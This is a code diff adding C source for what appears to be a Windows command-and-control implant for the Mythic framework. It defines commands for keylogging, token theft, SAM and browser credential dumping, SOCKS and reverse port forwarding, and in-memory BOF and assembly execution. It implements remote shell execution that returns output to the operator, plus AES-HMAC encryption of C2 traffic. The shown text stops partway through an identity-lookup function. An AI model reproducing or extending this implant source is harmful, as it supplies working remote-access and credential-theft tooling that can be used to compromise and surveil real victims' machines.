||||
#include "procesos.h"
|
||||
#include "SistemadeFicheros.h"
|
||||
#include "screenshot.h"
|
||||
#include "keylog.h"
|
||||
#include "tokens.h"
|
||||
#include "rpfwd_manager.h"
|
||||
#include "browser_info.h"
|
||||
#include "browser_dump.h"
|
||||
#include "samdump.h"
|
||||
#include "inline_execute.h"
|
||||
|
||||
#define SHELL_CMD 0x54
|
||||
#define GET_TASKING 0x00
|
||||
#define POST_RESPONSE 0x01
|
||||
#define CHECKIN 0xf1
|
||||
|
||||
#define NUMBER_OF_TASKS 1
|
||||
|
||||
#define EXIT_CMD 0x80
|
||||
#define SLEEP_CMD 0x38
|
||||
#define PROCESS_CMD 0x15
|
||||
|
||||
#define CD_CMD 0x20
|
||||
#define LS_CMD 0x21
|
||||
#define PWD_CMD 0x22
|
||||
#define CP_CMD 0x23
|
||||
#define MKDIR_CMD 0x24
|
||||
#define RM_CMD 0x25
|
||||
#define CAT_CMD 0x26
|
||||
#define DOWNLOAD_CMD 0x27
|
||||
#define UPLOAD_CMD 0x28
|
||||
#define SCREENSHOT_CMD 0x29
|
||||
#define KEYLOG_START_CMD 0x30
|
||||
#define KEYLOG_STOP_CMD 0x31
|
||||
|
||||
/* New SOCKS control commands (agent-side) */
|
||||
#define START_SOCKS_CMD 0x60
|
||||
#define STOP_SOCKS_CMD 0x61
|
||||
|
||||
/* Reverse Port Forward commands */
|
||||
#define START_RPFWD_CMD 0x62
|
||||
#define STOP_RPFWD_CMD 0x63
|
||||
|
||||
/* Token commands */
|
||||
#define LIST_TOKENS_CMD 0x32
|
||||
#define STEAL_TOKEN_CMD 0x33
|
||||
#define MAKE_TOKEN_CMD 0x34
|
||||
#define REV2SELF_CMD 0x35
|
||||
#define WHOAMI_CMD 0x36
|
||||
#define KILL_CMD 0x37
|
||||
|
||||
/* Browser information command */
|
||||
#define BROWSER_INFO_CMD 0x40
|
||||
|
||||
/* Browser dump command */
|
||||
#define BROWSER_DUMP_CMD 0x41
|
||||
|
||||
/* SAM dump command */
|
||||
#define SAMDUMP_CMD 0x42
|
||||
|
||||
/* BOF and Assembly execution commands */
|
||||
#define INLINE_EXECUTE_CMD 0x70
|
||||
#define INLINE_EXECUTE_ASSEMBLY_CMD 0x71
|
||||
|
||||
/* Extension marker to carry SOCKS array in binary messages */
|
||||
#define SOCKS_BLOCK_MARKER 0xF5
|
||||
/* Extension marker to carry RPFWD array in binary messages */
|
||||
#define RPFWD_BLOCK_MARKER 0xF2
|
||||
|
||||
BOOL parseChecking(PAnalizador respuestaAnalizador);
|
||||
BOOL rutina();
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,46 @@
|
||||
#include "consola.h"
|
||||
|
||||
BOOL ejecutarConsola(PAnalizador argumentos) {
|
||||
|
||||
SIZE_T tamanoUuid = 36;
|
||||
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||
UINT32 nbArg = getInt32(argumentos);
|
||||
SIZE_T tamano = 0;
|
||||
PCHAR comando = getString(argumentos, &tamano);
|
||||
|
||||
comando = (PCHAR)LocalReAlloc(comando, tamano + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||
|
||||
FILE* fp;
|
||||
CHAR ruta[1035];
|
||||
|
||||
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuestaTarea, tareaUuid, FALSE);
|
||||
|
||||
//paquete temporal para la salida
|
||||
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||
|
||||
fp = _popen(comando, "rb");
|
||||
if (!fp) {
|
||||
_err("[Consola] Error ejecutando el comando");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
while (fgets(ruta, sizeof(ruta), fp) != NULL) {
|
||||
addString(salida, ruta, FALSE);
|
||||
}
|
||||
|
||||
// Add output to response
|
||||
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||
|
||||
// Add Process Create artifact using the helper function
|
||||
addArtifact(respuestaTarea, "Process Create", comando);
|
||||
|
||||
_pclose(fp);
|
||||
Analizador* respuestaAnalizador = mandarPaquete(respuestaTarea);
|
||||
|
||||
liberarPaquete(salida);
|
||||
liberarPaquete(respuestaTarea);
|
||||
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
#include "paquete.h"
|
||||
#include "analizador.h"
|
||||
#include "comandos.h"
|
||||
|
||||
BOOL ejecutarConsola(PAnalizador argumentos);
|
||||
@@ -0,0 +1,363 @@
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
|
||||
// =======================================================
|
||||
// COMPAT FIX for MinGW: ensure bcrypt + NTSTATUS constants
|
||||
// =======================================================
|
||||
#ifndef NTDDI_VERSION
|
||||
#define NTDDI_VERSION NTDDI_WIN10
|
||||
#endif
|
||||
|
||||
#ifndef _WIN32_WINNT
|
||||
#define _WIN32_WINNT 0x0A00 // Windows 10
|
||||
#endif
|
||||
|
||||
#include <ntstatus.h>
|
||||
#define WIN32_NO_STATUS
|
||||
#include <windows.h>
|
||||
#undef WIN32_NO_STATUS
|
||||
|
||||
#include "crypto.h"
|
||||
#include "utils.h"
|
||||
#include "hmac_sha256.h"
|
||||
#include "Aes.h"
|
||||
#include <bcrypt.h>
|
||||
#include <wincrypt.h>
|
||||
#pragma comment(lib, "bcrypt.lib")
|
||||
|
||||
// Include struct definitions AFTER crypto.h to avoid circular dependency
|
||||
// crypto.h has forward declarations, but crypto.c needs the actual structures
|
||||
#include "paquete.h"
|
||||
#include "analizador.h"
|
||||
|
||||
// =======================================================
|
||||
// Define missing bcrypt constants if MinGW headers lack them
|
||||
// =======================================================
|
||||
#ifndef MS_PRIMITIVE_PROVIDER
|
||||
#define MS_PRIMITIVE_PROVIDER L"Microsoft Primitive Provider"
|
||||
#endif
|
||||
|
||||
// Constants
|
||||
#define IVSIZE 16
|
||||
#define SHA256_HASH_SIZE 32
|
||||
|
||||
// Globals (simple single-agent context)
|
||||
static unsigned char g_aesKey[AES_KEY_SIZE];
|
||||
static int g_aesKeySet = 0;
|
||||
static int g_encryptionEnabled = 0; // Track if encryption is enabled
|
||||
|
||||
// Helpers
|
||||
static void secure_zero(void *p, SIZE_T n) {
|
||||
if (p && n) { SecureZeroMemory(p, n); }
|
||||
}
|
||||
|
||||
void crypto_cleanup(void) {
|
||||
secure_zero(g_aesKey, sizeof(g_aesKey));
|
||||
g_aesKeySet = 0;
|
||||
g_encryptionEnabled = 0;
|
||||
}
|
||||
|
||||
// Initialize AESPSK key from base64 string (Mythic format)
|
||||
BOOL crypto_init_aespsk(const char *aespsk_key_b64) {
|
||||
if (!aespsk_key_b64 || strlen(aespsk_key_b64) == 0) {
|
||||
_err("No AESPSK key provided");
|
||||
g_encryptionEnabled = 0;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Base64 decode the key
|
||||
PBYTE decoded = NULL;
|
||||
SIZE_T decoded_len = 0;
|
||||
|
||||
if (!base64_decode(aespsk_key_b64, &decoded, &decoded_len)) {
|
||||
_err("Failed to decode AESPSK key");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (decoded_len != AES_KEY_SIZE) {
|
||||
_err("AESPSK key length is %zu, expected %d", decoded_len, AES_KEY_SIZE);
|
||||
if (decoded) LocalFree(decoded);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
memcpy(g_aesKey, decoded, AES_KEY_SIZE);
|
||||
g_aesKeySet = 1;
|
||||
g_encryptionEnabled = 1;
|
||||
|
||||
if (decoded) LocalFree(decoded);
|
||||
|
||||
_inf("AESPSK key initialized successfully (encryption enabled)");
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Check if encryption is enabled
|
||||
BOOL crypto_is_encryption_enabled(void) {
|
||||
return g_encryptionEnabled && g_aesKeySet;
|
||||
}
|
||||
|
||||
// AES encrypt package for Mythic (based on Xenon implementation)
|
||||
// Format: [IV(16)][Ciphertext with PKCS7][HMAC(32)]
|
||||
BOOL CryptoMythicEncryptPackage(void* package) {
|
||||
PPaquete pkg = (PPaquete)package;
|
||||
_inf("=== CryptoMythicEncryptPackage START ===");
|
||||
|
||||
if (!pkg || !pkg->buffer || pkg->length == 0) {
|
||||
_err("Invalid package (pkg=%p, buffer=%p, length=%zu)",
|
||||
pkg, pkg ? pkg->buffer : NULL, pkg ? pkg->length : 0);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
_dbg("Input package: length=%zu bytes", pkg->length);
|
||||
|
||||
if (!g_aesKeySet) {
|
||||
_err("AES key not set");
|
||||
return FALSE;
|
||||
}
|
||||
_dbg("AES key is set (key length: %d bytes)", AES_KEY_SIZE);
|
||||
|
||||
// Generate random IV
|
||||
BYTE iv[IVSIZE];
|
||||
_dbg("Generating random IV (%d bytes)...", IVSIZE);
|
||||
for (int i = 0; i < IVSIZE; i++) {
|
||||
iv[i] = (BYTE)(rand() % 0xFF);
|
||||
}
|
||||
_dbg("IV generated (hex): ");
|
||||
for (int i = 0; i < IVSIZE; i++) {
|
||||
_dbg(" %02x ", iv[i]);
|
||||
}
|
||||
|
||||
// Calculate padding needed
|
||||
SIZE_T datalen = pkg->length;
|
||||
SIZE_T padding_needed = (AES_BLOCKLEN - (datalen % AES_BLOCKLEN)) % AES_BLOCKLEN;
|
||||
if (padding_needed == 0) {
|
||||
padding_needed = AES_BLOCKLEN;
|
||||
}
|
||||
_dbg("Data length: %zu bytes", datalen);
|
||||
_dbg("Padding needed: %zu bytes (block size: %d)", padding_needed, AES_BLOCKLEN);
|
||||
|
||||
// Add padding
|
||||
_dbg("Adding PKCS7 padding...");
|
||||
pkg->buffer = LocalReAlloc(pkg->buffer, pkg->length + padding_needed, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||
if (!pkg->buffer) {
|
||||
_err("Failed to add padding");
|
||||
return FALSE;
|
||||
}
|
||||
memset((PBYTE)pkg->buffer + pkg->length, (BYTE)padding_needed, padding_needed);
|
||||
SIZE_T padded_len = pkg->length + padding_needed;
|
||||
pkg->length = padded_len;
|
||||
_dbg("After padding: %zu bytes", padded_len);
|
||||
|
||||
// Encrypt with AES-256-CBC
|
||||
_dbg("Initializing AES context with IV...");
|
||||
struct AES_ctx ctx;
|
||||
AES_init_ctx_iv(&ctx, g_aesKey, iv);
|
||||
_inf("Encrypting with AES-256-CBC...");
|
||||
AES_CBC_encrypt_buffer(&ctx, (uint8_t*)pkg->buffer, padded_len);
|
||||
_dbg("Encryption complete, ciphertext: %zu bytes", padded_len);
|
||||
|
||||
// Prepend IV before the encrypted data
|
||||
_dbg("Prepending IV (%d bytes) before ciphertext...", IVSIZE);
|
||||
pkg->buffer = LocalReAlloc(pkg->buffer, pkg->length + IVSIZE, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||
if (!pkg->buffer) {
|
||||
_err("Failed to prepend IV");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
memmove((PBYTE)pkg->buffer + IVSIZE, pkg->buffer, pkg->length);
|
||||
memcpy(pkg->buffer, iv, IVSIZE);
|
||||
pkg->length += IVSIZE;
|
||||
_dbg("After prepending IV: %zu bytes (IV: %d + ciphertext: %zu)",
|
||||
pkg->length, IVSIZE, padded_len);
|
||||
|
||||
// Calculate HMAC (IV + Ciphertext)
|
||||
_inf("Calculating HMAC-SHA256 over IV + Ciphertext...");
|
||||
PBYTE hmac = (PBYTE)malloc(SHA256_HASH_SIZE);
|
||||
SIZE_T hmac_size = SHA256_HASH_SIZE;
|
||||
|
||||
_dbg("HMAC input length: %zu bytes (for HMAC calculation)", pkg->length);
|
||||
hmac_sha256(
|
||||
g_aesKey, AES_KEY_SIZE,
|
||||
pkg->buffer, pkg->length,
|
||||
hmac, hmac_size
|
||||
);
|
||||
|
||||
_dbg("HMAC calculated (hex): ");
|
||||
for (size_t i = 0; i < hmac_size; i++) {
|
||||
_dbg(" %02x ", hmac[i]);
|
||||
}
|
||||
|
||||
// Append HMAC
|
||||
_dbg("Appending HMAC (%zu bytes)...", SHA256_HASH_SIZE);
|
||||
pkg->buffer = LocalReAlloc(pkg->buffer, pkg->length + SHA256_HASH_SIZE, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||
if (!pkg->buffer) {
|
||||
free(hmac);
|
||||
_err("Failed to append HMAC");
|
||||
return FALSE;
|
||||
}
|
||||
memcpy((PBYTE)pkg->buffer + pkg->length, hmac, SHA256_HASH_SIZE);
|
||||
pkg->length += SHA256_HASH_SIZE;
|
||||
|
||||
free(hmac);
|
||||
_inf("=== ENCRYPTION COMPLETE ===");
|
||||
_dbg("Final encrypted package: %zu bytes", pkg->length);
|
||||
_dbg("Format: [IV(16)][Ciphertext(%zu)][HMAC(32)]", padded_len);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// AES decrypt parser for Mythic (based on Xenon implementation)
|
||||
BOOL CryptoMythicDecryptParser(void* analizador) {
|
||||
PAnalizador parser = (PAnalizador)analizador;
|
||||
_inf("=== CryptoMythicDecryptParser START ===");
|
||||
|
||||
if (!parser || !parser->buffer || parser->tamano < (IVSIZE + AES_BLOCKLEN + SHA256_HASH_SIZE)) {
|
||||
_err("Invalid parser (parser=%p, buffer=%p, size=%zu)",
|
||||
parser, parser ? parser->buffer : NULL, parser ? parser->tamano : 0);
|
||||
_err("Minimum required: %d bytes", IVSIZE + AES_BLOCKLEN + SHA256_HASH_SIZE);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
_dbg("Input parser: size=%zu bytes", parser->tamano);
|
||||
|
||||
// Log first bytes of encrypted data
|
||||
_dbg("Encrypted data preview (hex, first 64 bytes): ");
|
||||
for (size_t i = 0; i < (parser->tamano > 64 ? 64 : parser->tamano); i++) {
|
||||
_dbg(" %02x ", parser->buffer[i]);
|
||||
if ((i + 1) % 32 == 0) _dbg("\n");
|
||||
}
|
||||
|
||||
if (!g_aesKeySet) {
|
||||
_err("AES key not set");
|
||||
return FALSE;
|
||||
}
|
||||
_dbg("AES key is set");
|
||||
|
||||
// Extract HMAC from end
|
||||
PBYTE hmac_provided = parser->buffer + parser->tamano - SHA256_HASH_SIZE;
|
||||
SIZE_T encrypted_data_length = parser->tamano - IVSIZE - SHA256_HASH_SIZE;
|
||||
|
||||
_dbg("=== EXTRACTING COMPONENTS ===");
|
||||
_dbg("Total size: %zu bytes", parser->tamano);
|
||||
_dbg("HMAC offset: %zu bytes from start", parser->tamano - SHA256_HASH_SIZE);
|
||||
_dbg("Encrypted data length (without IV and HMAC): %zu bytes", encrypted_data_length);
|
||||
_dbg("Expected format: [IV(16)][Ciphertext(%zu)][HMAC(32)]", encrypted_data_length);
|
||||
|
||||
// Extract and log IV
|
||||
BYTE *iv = parser->buffer;
|
||||
_dbg("IV (first 16 bytes, hex): ");
|
||||
for (int i = 0; i < IVSIZE; i++) {
|
||||
_dbg(" %02x ", iv[i]);
|
||||
}
|
||||
|
||||
// Log HMAC provided
|
||||
_dbg("HMAC provided (last 32 bytes, hex): ");
|
||||
for (size_t i = 0; i < SHA256_HASH_SIZE; i++) {
|
||||
_dbg(" %02x ", hmac_provided[i]);
|
||||
}
|
||||
|
||||
// Verify HMAC
|
||||
_inf("=== VERIFYING HMAC ===");
|
||||
_dbg("Calculating HMAC over %zu bytes (IV + Ciphertext)", IVSIZE + encrypted_data_length);
|
||||
PBYTE hmac_calculated = (PBYTE)malloc(SHA256_HASH_SIZE);
|
||||
if (!hmac_calculated) {
|
||||
_err("Failed to allocate HMAC buffer");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
hmac_sha256(
|
||||
g_aesKey, AES_KEY_SIZE,
|
||||
parser->buffer, IVSIZE + encrypted_data_length,
|
||||
hmac_calculated, SHA256_HASH_SIZE
|
||||
);
|
||||
|
||||
_dbg("HMAC calculated (hex): ");
|
||||
for (size_t i = 0; i < SHA256_HASH_SIZE; i++) {
|
||||
_dbg(" %02x ", hmac_calculated[i]);
|
||||
}
|
||||
|
||||
if (memcmp(hmac_calculated, hmac_provided, SHA256_HASH_SIZE) != 0) {
|
||||
_err("=== HMAC VERIFICATION FAILED ===");
|
||||
_err("Provided HMAC: ");
|
||||
for (size_t i = 0; i < SHA256_HASH_SIZE; i++) {
|
||||
_err(" %02x ", hmac_provided[i]);
|
||||
}
|
||||
_err("Calculated HMAC: ");
|
||||
for (size_t i = 0; i < SHA256_HASH_SIZE; i++) {
|
||||
_err(" %02x ", hmac_calculated[i]);
|
||||
}
|
||||
_dbg("Data used for HMAC calculation (first 48 bytes): ");
|
||||
for (size_t i = 0; i < ((IVSIZE + encrypted_data_length) > 48 ? 48 : (IVSIZE + encrypted_data_length)); i++) {
|
||||
_dbg(" %02x ", parser->buffer[i]);
|
||||
if ((i + 1) % 16 == 0) _dbg("\n");
|
||||
}
|
||||
free(hmac_calculated);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
_inf("HMAC verification SUCCESS");
|
||||
|
||||
free(hmac_calculated);
|
||||
|
||||
// Decrypt
|
||||
_inf("=== DECRYPTING ===");
|
||||
_dbg("Initializing AES context with IV...");
|
||||
struct AES_ctx ctx;
|
||||
AES_init_ctx_iv(&ctx, g_aesKey, iv);
|
||||
_inf("Decrypting %zu bytes of ciphertext...", encrypted_data_length);
|
||||
AES_CBC_decrypt_buffer(&ctx, parser->buffer + IVSIZE, encrypted_data_length);
|
||||
_dbg("Decryption complete");
|
||||
|
||||
// Log decrypted data before unpadding
|
||||
_dbg("Decrypted data (before unpadding, hex, first 64 bytes): ");
|
||||
for (size_t i = 0; i < (encrypted_data_length > 64 ? 64 : encrypted_data_length); i++) {
|
||||
_dbg(" %02x ", parser->buffer[IVSIZE + i]);
|
||||
if ((i + 1) % 32 == 0) _dbg("\n");
|
||||
}
|
||||
|
||||
// Remove padding
|
||||
_dbg("=== REMOVING PADDING ===");
|
||||
BYTE padding_length = parser->buffer[IVSIZE + encrypted_data_length - 1];
|
||||
_dbg("Padding length from last byte: %d", padding_length);
|
||||
_dbg("Last 16 bytes (should show padding): ");
|
||||
size_t padding_start = IVSIZE + encrypted_data_length - 16;
|
||||
for (size_t i = 0; i < 16 && padding_start + i < parser->tamano; i++) {
|
||||
_dbg(" %02x ", parser->buffer[padding_start + i]);
|
||||
}
|
||||
|
||||
if (padding_length > AES_BLOCKLEN) {
|
||||
_err("Invalid padding length: %d", padding_length);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
SIZE_T unpadded_len = encrypted_data_length - padding_length;
|
||||
|
||||
_dbg("Unpadded length: %zu bytes", unpadded_len);
|
||||
|
||||
// Update parser
|
||||
SIZE_T original_size = parser->tamano;
|
||||
_dbg("Moving decrypted data to start of buffer (removing IV)...");
|
||||
memmove(parser->buffer, parser->buffer + IVSIZE, unpadded_len);
|
||||
parser->buffer = LocalReAlloc(parser->buffer, unpadded_len, LMEM_MOVEABLE);
|
||||
parser->tamano = unpadded_len;
|
||||
|
||||
// Log final decrypted data
|
||||
_inf("=== DECRYPTION COMPLETE ===");
|
||||
_dbg("Final decrypted size: %zu bytes (original encrypted: %zu bytes)",
|
||||
parser->tamano, original_size);
|
||||
_dbg("Final decrypted data (hex, first 64 bytes): ");
|
||||
for (size_t i = 0; i < (parser->tamano > 64 ? 64 : parser->tamano); i++) {
|
||||
_dbg(" %02x ", parser->buffer[i]);
|
||||
if ((i + 1) % 32 == 0) _dbg("\n");
|
||||
}
|
||||
|
||||
// Log as ASCII if printable
|
||||
if (parser->tamano > 0) {
|
||||
_dbg("First byte: 0x%02X", parser->buffer[0]);
|
||||
if (parser->tamano >= 36) {
|
||||
char uuidBuf[37] = {0};
|
||||
memcpy(uuidBuf, parser->buffer, 36);
|
||||
_dbg("First 36 bytes (should be UUID if present): %s", uuidBuf);
|
||||
}
|
||||
}
|
||||
|
||||
_inf("Parser decrypted successfully (length: %zu)", parser->tamano);
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
|
||||
#define AES_KEY_SIZE 32
|
||||
#define AES_IV_SIZE 16
|
||||
#define SHA256_HASH_SIZE 32
|
||||
|
||||
// Initialize AESPSK key from base64 string (called at startup)
|
||||
BOOL crypto_init_aespsk(const char *aespsk_key_b64);
|
||||
|
||||
// Cleanup crypto resources
|
||||
void crypto_cleanup(void);
|
||||
|
||||
// Encrypt a package using AES256-CBC + HMAC (Mythic format)
|
||||
// Format: [IV(16 bytes)][Ciphertext][HMAC(32 bytes)]
|
||||
BOOL CryptoMythicEncryptPackage(void* paquete);
|
||||
|
||||
// Decrypt a parser using AES256-CBC + HMAC (Mythic format)
|
||||
BOOL CryptoMythicDecryptParser(void* analizador);
|
||||
|
||||
// Helper to get encryption status
|
||||
BOOL crypto_is_encryption_enabled(void);
|
||||
@@ -0,0 +1,83 @@
|
||||
#pragma once
|
||||
|
||||
#include <stdio.h>
|
||||
#include <windows.h>
|
||||
#include <string.h>
|
||||
|
||||
/* Debug level defines (from DEBUG_LEVEL parameter, set by Makefile):
|
||||
* 0 = NONE - no debug output
|
||||
* 1 = ERR - only _err() messages
|
||||
* 2 = WRN - _err() + _wrn() messages
|
||||
* 3 = INF - _err() + _wrn() + _inf() messages
|
||||
* 4 = ALL - all messages (_err() + _wrn() + _inf() + _dbg())
|
||||
*/
|
||||
|
||||
/* Debug output defines (from DEBUG_OUTPUT parameter, set by Makefile):
|
||||
* 0 = CONSOLE - output to stdout (printf)
|
||||
* 1 = FILE - output to C:\Temp\Ra.log
|
||||
*/
|
||||
|
||||
#if defined(DEBUG_LEVEL) && DEBUG_LEVEL > 0
|
||||
|
||||
/* Debug is enabled - determine which levels are active */
|
||||
#define ENABLE_ERR 1 /* Always enable errors (level >= 1) */
|
||||
#define ENABLE_WRN (DEBUG_LEVEL >= 2)
|
||||
#define ENABLE_INF (DEBUG_LEVEL >= 3)
|
||||
#define ENABLE_DBG (DEBUG_LEVEL >= 4)
|
||||
|
||||
#define DBG "DBG"
|
||||
#define ERR "ERR"
|
||||
#define WRN "WRN"
|
||||
#define INF "INF"
|
||||
|
||||
#if defined(DEBUG_OUTPUT) && DEBUG_OUTPUT == 1
|
||||
/* File-based logging */
|
||||
#define _log(level, format, ...) do { \
|
||||
HANDLE debugFile = CreateFileA("C:\\Temp\\Ra.log", FILE_APPEND_DATA, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); \
|
||||
if (debugFile != INVALID_HANDLE_VALUE) { \
|
||||
CHAR out[512] = { 0 }; \
|
||||
DWORD written = 0; \
|
||||
sprintf_s(out, sizeof(out), "[%s] %s:%d - " format "\n", level, __FUNCTION__, __LINE__, ## __VA_ARGS__); \
|
||||
WriteFile(debugFile, out, (DWORD)strlen(out), &written, NULL); \
|
||||
CloseHandle(debugFile); \
|
||||
} \
|
||||
} while(0)
|
||||
#else
|
||||
/* Console-based logging (default) */
|
||||
#define _log(level, format, ...) do { \
|
||||
printf("[%s] %s:%d - " format "\n", level, __FUNCTION__, __LINE__, ## __VA_ARGS__); \
|
||||
fflush(stdout); \
|
||||
} while(0)
|
||||
#endif
|
||||
|
||||
/* Level-specific macros */
|
||||
#if ENABLE_DBG
|
||||
#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__)
|
||||
#else
|
||||
#define _dbg(format, ...) ((void)0)
|
||||
#endif
|
||||
|
||||
#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__)
|
||||
|
||||
#if ENABLE_WRN
|
||||
#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__)
|
||||
#else
|
||||
#define _wrn(format, ...) ((void)0)
|
||||
#endif
|
||||
|
||||
#if ENABLE_INF
|
||||
#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__)
|
||||
#else
|
||||
#define _inf(format, ...) ((void)0)
|
||||
#endif
|
||||
|
||||
#else
|
||||
|
||||
/* Release build: no debug output */
|
||||
#define _log(level, format, ...) ((void)0)
|
||||
#define _dbg(format, ...) ((void)0)
|
||||
#define _err(format, ...) ((void)0)
|
||||
#define _wrn(format, ...) ((void)0)
|
||||
#define _inf(format, ...) ((void)0)
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,104 @@
|
||||
/*
|
||||
hmac_sha256.c
|
||||
Originally written by https://github.com/h5p9sl
|
||||
*/
|
||||
|
||||
#include "hmac_sha256.h"
|
||||
#include "sha256.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#define SHA256_BLOCK_SIZE 64
|
||||
|
||||
/* LOCAL FUNCTIONS */
|
||||
|
||||
// Concatenate X & Y, return hash.
|
||||
static void* H(const void* x,
|
||||
const size_t xlen,
|
||||
const void* y,
|
||||
const size_t ylen,
|
||||
void* out,
|
||||
const size_t outlen);
|
||||
|
||||
// Wrapper for sha256
|
||||
static void* sha256(const void* data,
|
||||
const size_t datalen,
|
||||
void* out,
|
||||
const size_t outlen);
|
||||
|
||||
// Declared in hmac_sha256.h
|
||||
size_t hmac_sha256(const void* key,
|
||||
const size_t keylen,
|
||||
const void* data,
|
||||
const size_t datalen,
|
||||
void* out,
|
||||
const size_t outlen) {
|
||||
uint8_t k[SHA256_BLOCK_SIZE];
|
||||
uint8_t k_ipad[SHA256_BLOCK_SIZE];
|
||||
uint8_t k_opad[SHA256_BLOCK_SIZE];
|
||||
uint8_t ihash[SHA256_HASH_SIZE];
|
||||
uint8_t ohash[SHA256_HASH_SIZE];
|
||||
size_t sz;
|
||||
int i;
|
||||
|
||||
memset(k, 0, sizeof(k));
|
||||
memset(k_ipad, 0x36, SHA256_BLOCK_SIZE);
|
||||
memset(k_opad, 0x5c, SHA256_BLOCK_SIZE);
|
||||
|
||||
if (keylen > SHA256_BLOCK_SIZE) {
|
||||
// If the key is larger than the hash algorithm's
|
||||
// block size, we must digest it first.
|
||||
sha256(key, keylen, k, sizeof(k));
|
||||
} else {
|
||||
memcpy(k, key, keylen);
|
||||
}
|
||||
|
||||
for (i = 0; i < SHA256_BLOCK_SIZE; i++) {
|
||||
k_ipad[i] ^= k[i];
|
||||
k_opad[i] ^= k[i];
|
||||
}
|
||||
|
||||
// Perform HMAC algorithm: ( https://tools.ietf.org/html/rfc2104 )
|
||||
// `H(K XOR opad, H(K XOR ipad, data))`
|
||||
H(k_ipad, sizeof(k_ipad), data, datalen, ihash, sizeof(ihash));
|
||||
H(k_opad, sizeof(k_opad), ihash, sizeof(ihash), ohash, sizeof(ohash));
|
||||
|
||||
sz = (outlen > SHA256_HASH_SIZE) ? SHA256_HASH_SIZE : outlen;
|
||||
memcpy(out, ohash, sz);
|
||||
return sz;
|
||||
}
|
||||
|
||||
static void* H(const void* x,
|
||||
const size_t xlen,
|
||||
const void* y,
|
||||
const size_t ylen,
|
||||
void* out,
|
||||
const size_t outlen) {
|
||||
void* result;
|
||||
size_t buflen = (xlen + ylen);
|
||||
uint8_t* buf = (uint8_t*)malloc(buflen);
|
||||
|
||||
memcpy(buf, x, xlen);
|
||||
memcpy(buf + xlen, y, ylen);
|
||||
result = sha256(buf, buflen, out, outlen);
|
||||
|
||||
free(buf);
|
||||
return result;
|
||||
}
|
||||
|
||||
static void* sha256(const void* data,
|
||||
const size_t datalen,
|
||||
void* out,
|
||||
const size_t outlen) {
|
||||
size_t sz;
|
||||
Sha256Context ctx;
|
||||
SHA256_HASH hash;
|
||||
|
||||
Sha256Initialise(&ctx);
|
||||
Sha256Update(&ctx, data, datalen);
|
||||
Sha256Finalise(&ctx, &hash);
|
||||
|
||||
sz = (outlen > SHA256_HASH_SIZE) ? SHA256_HASH_SIZE : outlen;
|
||||
return memcpy(out, hash.bytes, sz);
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
/*
|
||||
hmac_sha256.h
|
||||
Originally written by https://github.com/h5p9sl
|
||||
*/
|
||||
|
||||
#ifndef _HMAC_SHA256_H_
|
||||
#define _HMAC_SHA256_H_
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif // __cplusplus
|
||||
|
||||
#include <stddef.h>
|
||||
|
||||
size_t // Returns the number of bytes written to `out`
|
||||
hmac_sha256(
|
||||
// [in]: The key and its length.
|
||||
// Should be at least 32 bytes long for optimal security.
|
||||
const void* key,
|
||||
const size_t keylen,
|
||||
|
||||
// [in]: The data to hash alongside the key.
|
||||
const void* data,
|
||||
const size_t datalen,
|
||||
|
||||
// [out]: The output hash.
|
||||
// Should be 32 bytes long. If it's less than 32 bytes,
|
||||
// the resulting hash will be truncated to the specified length.
|
||||
void* out,
|
||||
const size_t outlen);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif // __cplusplus
|
||||
|
||||
#endif // _HMAC_SHA256_H_
|
||||
@@ -0,0 +1,30 @@
|
||||
#include "identity.h"
|
||||
|
||||
|
||||
|
||||
BOOL IdentityGetUserInfo(_In_ HANDLE hToken, _Out_ char* buffer, _In_ int tamano) {
|
||||
|
||||
TOKEN_USER informacionToken[0x1000];
|
||||
SID_NAME_USE tipoSid;
|
||||
DWORD tamanoRespuesta;
|
||||
|
||||
if (!GetTokenInformation(hToken, TokenUser, informacionToken, sizeof(informacionToken), &tamanoRespuesta)) {
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
CHAR nombre[0x200] = { 0 };
|
||||
CHAR dominio[0x200] = { 0 };
|
||||
|
||||
DWORD tamanoNombre = sizeof(nombre);
|
||||
DWORD tamanoDominio = sizeof(dominio);
|
||||
|
||||
if (!LookupAccountSidA(NULL, informacionToken->User.Sid, nombre, &tamanoNombre, dominio, &tamanoDominio, &tipoSid)) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
